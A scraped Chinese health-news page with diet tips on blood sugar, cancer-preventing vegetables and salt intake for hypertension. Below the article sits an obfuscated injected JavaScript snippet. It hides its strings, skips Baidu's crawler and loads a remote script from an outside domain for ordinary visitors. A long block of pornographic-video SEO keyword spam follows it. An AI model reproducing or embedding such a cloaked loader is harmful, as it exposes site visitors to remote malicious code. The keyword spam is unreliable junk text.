當前位置:首頁 > 飲食 > 健康飲食 > 正文

控糖每天吃點全谷飯-防癌每天五份彩虹蔬果

2015-06-23 08:39:28  來源:360常識網   熱度:
導語:肥胖患者易罹患高血脂、心臟病及腦中風等。對于每天要喝三四瓶含糖飲料的人,以白開水或不加糖的茶水來代替,一天可減少約500大卡的熱量攝

肥胖患者易罹患高血脂、心臟病及腦中風等。對于每天要喝三四瓶含糖飲料的人,以白開水或不加糖的茶水來代替,一天可減少約500大卡的熱量攝入,一周就能減重一斤。由此看來,通過飲食控制體重,對防治心腦血管疾病意義重大。

控糖每天吃點全谷飯-防癌每天五份彩虹蔬果
控糖每天吃點全谷飯-防癌每天五份彩虹蔬果

防癌每天五份彩虹蔬果

公眾營養知識的欠缺,是導致我國慢病高發的重要因素之一。對付慢病井噴,中國急需一場膳食革命!

2006年,世界衛生組織(WHO)將癌癥定義為可防可控、甚至可治愈的慢性病。飲食是防癌的重要方式!

醫學越來越進步,但癌癥病人卻越來越多,最關鍵的是防癌的這道防線沒有建好。

世界癌癥研究基金會指出,“只要有健康的飲食習慣,30%~40%的癌癥都可以預防。”專家提倡,每天至少吃五份以上的新鮮蔬果可以有效降低癌癥的發生率,而臺灣衛生部門也把這些飲食防癌計劃列為健康公共政策。

合理膳食能有效地預防癌癥發生,多吃蔬菜和水果,但不包括泡菜、腌菜;霉變食物不吃,加工食物少吃,腌制食物、烤焦食物不吃,多吃植物性食物,每天要吃400克非淀粉類蔬菜水果。

除了飲食均衡外,飲食不規律,飯局上的煙、酒以及不知不覺過度飲食,都會使我們的腸胃始終處在受損狀態,再加上不控制體重,長期下去就有可能誘發癌變。

控糖每天吃點全谷飯

我國正在進入“糖尿病時代”,目前糖尿病患者超9200萬,近1.5億糖尿病前期患者成巨大后備軍,其中很多糖尿病都是由于不健康的飲食方式引起的。

糖尿病的治療主要有五方面:

飲食、運動、藥物、健康教育和血糖監測。大多數糖尿病都是“吃出來的”,所以飲食營養管理是糖尿病治療最基本、最重要的方式。

糖尿病的營養治療主要是通過改善飲食習慣、控制熱量、糖類和脂肪的攝入,適度調整體重等方式使代謝結果正?;?。專家指出,“如果糖尿病患者經過藥物治療后病情穩定,沒有出現并發癥,營養師就會根據其健康和體能狀況,患病程度及平時用藥量,計算出每天應該攝入的總能量,然后再制定一份飲食計劃,包括奶類、五谷根莖類主食、蔬果、豆魚肉蛋類及油脂的建議攝入量。”

降壓太咸太甜要不得

據中國疾控中心慢性非傳染疾病預防控制中心2014年5月份公布的數據——我國成人高血壓患病率達33.5%,據此估計患者人數突破3.3億。其實,高血壓患者通過飲食調控,減少鹽量,再減輕4.5千克或5%體重,病情會有明顯改善。

肥胖患者易罹患高血脂、心臟病及腦中風等。對于每天要喝三四瓶含糖飲料的人,以白開水或不加糖的茶水來代替,一天可減少約500大卡的熱量攝入,一周就能減重一斤。由此看來,通過飲食控制體重,對防治心腦血管疾病意義重大。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产麻豆精品原创| 国产午夜精品一本在线观看| 亚洲Av永久无码精品三区在线| 香蕉久久丫精品忘忧草产品| 亚洲精品国精品久久99热一| 麻豆国产VA免费精品高清在线| 久久国产精品张柏芝| 亚洲精品成a人在线观看| 国产成人精品三级在线 | 无码国产精品一区二区免费vr| 国产成人精品男人的天堂网站 | 国产精品毛片一区二区| 亚洲AV无码成人精品区日韩| 久久免费观看国产精品88av| 国产精品99久久精品爆乳| 九九热在线视频精品| 99精品久久99久久久久久| 国产一区二区三精品久久久无广告| 热久久精品免费视频| 国产精品视频久久| 久久精品毛片免费观看| 国产女主播精品大秀系列| 国产精品免费久久久久电影网| 国语自产偷拍精品视频偷| 精品国产福利片在线观看| 人妻精品久久无码专区精东影业 | 蜜芽亚洲av无码精品色午夜| 国产啪精品视频网站| 欲帝精品福利视频导航| 在线精品日韩一区二区三区| 97精品国产一区二区三区| 67194老司机精品午夜| 久久久久无码国产精品一区| 中文字幕乱码中文乱码51精品| 国产成人精品在线观看| 国产三级精品视频| 国产精品好好热在线观看| 精品久久洲久久久久护士免费| 亚洲精品无码人妻无码| 97精品久久天干天天天按摩| 久久精品无码一区二区WWW |